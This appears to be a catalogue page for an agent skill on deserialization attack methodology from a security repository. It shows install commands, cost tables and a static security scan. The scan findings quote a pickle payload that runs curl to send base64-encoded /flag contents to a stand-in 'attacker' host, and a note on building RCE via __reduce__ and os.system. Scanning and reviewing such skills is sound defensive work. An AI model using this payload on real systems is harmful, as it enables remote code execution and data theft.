Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add wgpsec/AboutSecurity --skill deserialization-methodologygit clone --depth 1 https://github.com/wgpsec/AboutSecurityWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/wgpsec/aboutsecurity/deserialization-methodology)<a href="https://agentmods.dev/skills/wgpsec/aboutsecurity/deserialization-methodology"><img src="https://agentmods.dev/badge/skills/wgpsec/aboutsecurity/deserialization-methodology/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/wgpsec/aboutsecurity/deserialization-methodology"><img src="https://agentmods.dev/badge/skills/wgpsec/aboutsecurity/deserialization-methodology.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector pass
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00055 | $0.01258 |
| Opus 5 | $0.00028 | $0.00629 |
| Sonnet 5 | $0.00011 | $0.00252 |
| Haiku 4.5 | $0.00006 | $0.00126 |
Grade A, and why
deserialization-methodology scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
4. 外带 payload：`os.system('curl http://attacker/?d=$(cat /flag|base64)')` — HTTP 外传数据 Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
1. 构造基础 RCE payload：使用 `__reduce__` 方法调用 `os.system` 或 `subprocess.check_output` The source is not reproduced here
No licence file
A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.
What ships with it
6 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 5d ago First seen · 70 lines · 55 tokens per session scan A 56ec71ce4ccd
deserialization-methodology is a skill published in the GitHub repository wgpsec/AboutSecurity (1,725 stars, last pushed 9d ago), with no licence file. It adds 55 tokens to every session and 1,258 once invoked, about $0.0003 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.
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